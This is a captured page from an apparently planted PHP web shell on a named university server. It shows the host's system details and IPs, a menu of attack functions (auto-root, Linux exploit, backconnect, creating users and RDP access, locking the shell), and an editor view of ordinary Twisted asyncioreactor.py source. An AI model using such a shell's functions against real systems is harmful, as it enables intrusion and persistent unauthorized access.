Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.58.157
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
internet /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
iocpreactor
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
__init__.py
521
B
-rw-r--r--
_baseprocess.py
1.87
KB
-rw-r--r--
_dumbwin32proc.py
12.8
KB
-rw-r--r--
_glibbase.py
12.51
KB
-rw-r--r--
_idna.py
1.36
KB
-rw-r--r--
_newtls.py
9.11
KB
-rw-r--r--
_pollingfile.py
8.77
KB
-rw-r--r--
_posixserialport.py
1.95
KB
-rw-r--r--
_posixstdio.py
4.58
KB
-rw-r--r--
_producer_helpers.py
3.7
KB
-rw-r--r--
_resolver.py
8.33
KB
-rw-r--r--
_signals.py
2.65
KB
-rw-r--r--
_sslverify.py
70.09
KB
-rw-r--r--
_threadedselect.py
11.49
KB
-rw-r--r--
_win32serialport.py
4.63
KB
-rw-r--r--
_win32stdio.py
3.13
KB
-rw-r--r--
abstract.py
18.82
KB
-rw-r--r--
address.py
5.12
KB
-rw-r--r--
asyncioreactor.py
10.31
KB
-rw-r--r--
base.py
43.22
KB
-rw-r--r--
cfreactor.py
17.09
KB
-rw-r--r--
default.py
1.9
KB
-rw-r--r--
defer.py
69.52
KB
-rw-r--r--
endpoints.py
75.4
KB
-rw-r--r--
epollreactor.py
8.29
KB
-rw-r--r--
error.py
12.35
KB
-rw-r--r--
fdesc.py
3.15
KB
-rw-r--r--
gireactor.py
5.98
KB
-rw-r--r--
glib2reactor.py
1.09
KB
-rw-r--r--
gtk2reactor.py
3.53
KB
-rw-r--r--
gtk3reactor.py
2.2
KB
-rw-r--r--
inotify.py
14.35
KB
-rw-r--r--
interfaces.py
94.25
KB
-rw-r--r--
kqreactor.py
10.05
KB
-rw-r--r--
main.py
1.03
KB
-rw-r--r--
pollreactor.py
5.88
KB
-rw-r--r--
posixbase.py
25.74
KB
-rw-r--r--
process.py
37.98
KB
-rw-r--r--
protocol.py
26.5
KB
-rw-r--r--
pyuisupport.py
817
B
-rw-r--r--
reactor.py
1.82
KB
-rw-r--r--
selectreactor.py
6.07
KB
-rw-r--r--
serialport.py
2.26
KB
-rw-r--r--
ssl.py
8.25
KB
-rw-r--r--
stdio.py
1.02
KB
-rw-r--r--
task.py
30.39
KB
-rw-r--r--
tcp.py
53.62
KB
-rw-r--r--
threads.py
3.86
KB
-rw-r--r--
tksupport.py
2
KB
-rw-r--r--
udp.py
18.13
KB
-rw-r--r--
unix.py
21.45
KB
-rw-r--r--
utils.py
7.69
KB
-rw-r--r--
win32eventreactor.py
14.84
KB
-rw-r--r--
wxreactor.py
5.14
KB
-rw-r--r--
wxsupport.py
1.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : asyncioreactor.py
# -*- test-case-name: twisted.test.test_internet -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ asyncio-based reactor implementation. """ from __future__ import absolute_import, division import errno from zope.interface import implementer from twisted.logger import Logger from twisted.internet.base import DelayedCall from twisted.internet.posixbase import (PosixReactorBase, _NO_FILEDESC, _ContinuousPolling) from twisted.python.log import callWithLogger from twisted.internet.interfaces import IReactorFDSet try: from asyncio import get_event_loop except ImportError: raise ImportError("Requires asyncio.") # As per ImportError above, this module is never imported on python 2, but # pyflakes still runs on python 2, so let's tell it where the errors come from. from builtins import PermissionError, BrokenPipeError class _DCHandle(object): """ Wraps ephemeral L{asyncio.Handle} instances. Callbacks can close over this and use it as a mutable reference to asyncio C{Handles}. @ivar handle: The current L{asyncio.Handle} """ def __init__(self, handle): self.handle = handle def cancel(self): """ Cancel the inner L{asyncio.Handle}. """ self.handle.cancel() @implementer(IReactorFDSet) class AsyncioSelectorReactor(PosixReactorBase): """ Reactor running on top of L{asyncio.SelectorEventLoop}. """ _asyncClosed = False _log = Logger() def __init__(self, eventloop=None): if eventloop is None: eventloop = get_event_loop() self._asyncioEventloop = eventloop self._writers = {} self._readers = {} self._delayedCalls = set() self._continuousPolling = _ContinuousPolling(self) super().__init__() def _unregisterFDInAsyncio(self, fd): """ Compensate for a bug in asyncio where it will not unregister a FD that it cannot handle in the epoll loop. It touches internal asyncio code. A description of the bug by markrwilliams: The C{add_writer} method of asyncio event loops isn't atomic because all the Selector classes in the selector module internally record a file object before passing it to the platform's selector implementation. If the platform's selector decides the file object isn't acceptable, the resulting exception doesn't cause the Selector to un-track the file object. The failing/hanging stdio test goes through the following sequence of events (roughly): * The first C{connection.write(intToByte(value))} call hits the asyncio reactor's C{addWriter} method. * C{addWriter} calls the asyncio loop's C{add_writer} method, which happens to live on C{_BaseSelectorEventLoop}. * The asyncio loop's C{add_writer} method checks if the file object has been registered before via the selector's C{get_key} method. * It hasn't, so the KeyError block runs and calls the selector's register method * Code examples that follow use EpollSelector, but the code flow holds true for any other selector implementation. The selector's register method first calls through to the next register method in the MRO * That next method is always C{_BaseSelectorImpl.register} which creates a C{SelectorKey} instance for the file object, stores it under the file object's file descriptor, and then returns it. * Control returns to the concrete selector implementation, which asks the operating system to track the file descriptor using the right API. * The operating system refuses! An exception is raised that, in this case, the asyncio reactor handles by creating a C{_ContinuousPolling} object to watch the file descriptor. * The second C{connection.write(intToByte(value))} call hits the asyncio reactor's C{addWriter} method, which hits the C{add_writer} method. But the loop's selector's get_key method now returns a C{SelectorKey}! Now the asyncio reactor's C{addWriter} method thinks the asyncio loop will watch the file descriptor, even though it won't. """ try: self._asyncioEventloop._selector.unregister(fd) except: pass def _readOrWrite(self, selectable, read): method = selectable.doRead if read else selectable.doWrite if selectable.fileno() == -1: self._disconnectSelectable(selectable, _NO_FILEDESC, read) return try: why = method() except Exception as e: why = e self._log.failure(None) if why: self._disconnectSelectable(selectable, why, read) def addReader(self, reader): if reader in self._readers.keys() or \ reader in self._continuousPolling._readers: return fd = reader.fileno() try: self._asyncioEventloop.add_reader(fd, callWithLogger, reader, self._readOrWrite, reader, True) self._readers[reader] = fd except IOError as e: self._unregisterFDInAsyncio(fd) if e.errno == errno.EPERM: # epoll(7) doesn't support certain file descriptors, # e.g. filesystem files, so for those we just poll # continuously: self._continuousPolling.addReader(reader) else: raise def addWriter(self, writer): if writer in self._writers.keys() or \ writer in self._continuousPolling._writers: return fd = writer.fileno() try: self._asyncioEventloop.add_writer(fd, callWithLogger, writer, self._readOrWrite, writer, False) self._writers[writer] = fd except PermissionError: self._unregisterFDInAsyncio(fd) # epoll(7) doesn't support certain file descriptors, # e.g. filesystem files, so for those we just poll # continuously: self._continuousPolling.addWriter(writer) except BrokenPipeError: # The kqueuereactor will raise this if there is a broken pipe self._unregisterFDInAsyncio(fd) except: self._unregisterFDInAsyncio(fd) raise def removeReader(self, reader): # First, see if they're trying to remove a reader that we don't have. if not (reader in self._readers.keys() \ or self._continuousPolling.isReading(reader)): # We don't have it, so just return OK. return # If it was a cont. polling reader, check there first. if self._continuousPolling.isReading(reader): self._continuousPolling.removeReader(reader) return fd = reader.fileno() if fd == -1: # If the FD is -1, we want to know what its original FD was, to # remove it. fd = self._readers.pop(reader) else: self._readers.pop(reader) self._asyncioEventloop.remove_reader(fd) def removeWriter(self, writer): # First, see if they're trying to remove a writer that we don't have. if not (writer in self._writers.keys() \ or self._continuousPolling.isWriting(writer)): # We don't have it, so just return OK. return # If it was a cont. polling writer, check there first. if self._continuousPolling.isWriting(writer): self._continuousPolling.removeWriter(writer) return fd = writer.fileno() if fd == -1: # If the FD is -1, we want to know what its original FD was, to # remove it. fd = self._writers.pop(writer) else: self._writers.pop(writer) self._asyncioEventloop.remove_writer(fd) def removeAll(self): return (self._removeAll(self._readers.keys(), self._writers.keys()) + self._continuousPolling.removeAll()) def getReaders(self): return (list(self._readers.keys()) + self._continuousPolling.getReaders()) def getWriters(self): return (list(self._writers.keys()) + self._continuousPolling.getWriters()) def getDelayedCalls(self): return list(self._delayedCalls) def iterate(self, timeout): self._asyncioEventloop.call_later(timeout + 0.01, self._asyncioEventloop.stop) self._asyncioEventloop.run_forever() def run(self, installSignalHandlers=True): self.startRunning(installSignalHandlers=installSignalHandlers) self._asyncioEventloop.run_forever() if self._justStopped: self._justStopped = False def stop(self): super().stop() self.callLater(0, self.fireSystemEvent, "shutdown") def crash(self): super().crash() self._asyncioEventloop.stop() def seconds(self): return self._asyncioEventloop.time() def callLater(self, seconds, f, *args, **kwargs): def run(): dc.called = True self._delayedCalls.remove(dc) f(*args, **kwargs) handle = self._asyncioEventloop.call_later(seconds, run) dchandle = _DCHandle(handle) def cancel(dc): self._delayedCalls.remove(dc) dchandle.cancel() def reset(dc): dchandle.handle = self._asyncioEventloop.call_at(dc.time, run) dc = DelayedCall(self.seconds() + seconds, run, (), {}, cancel, reset, seconds=self.seconds) self._delayedCalls.add(dc) return dc def callFromThread(self, f, *args, **kwargs): g = lambda: self.callLater(0, f, *args, **kwargs) self._asyncioEventloop.call_soon_threadsafe(g) def install(eventloop=None): """ Install an asyncio-based reactor. @param eventloop: The asyncio eventloop to wrap. If default, the global one is selected. """ reactor = AsyncioSelectorReactor(eventloop) from twisted.internet.main import installReactor installReactor(reactor)
Close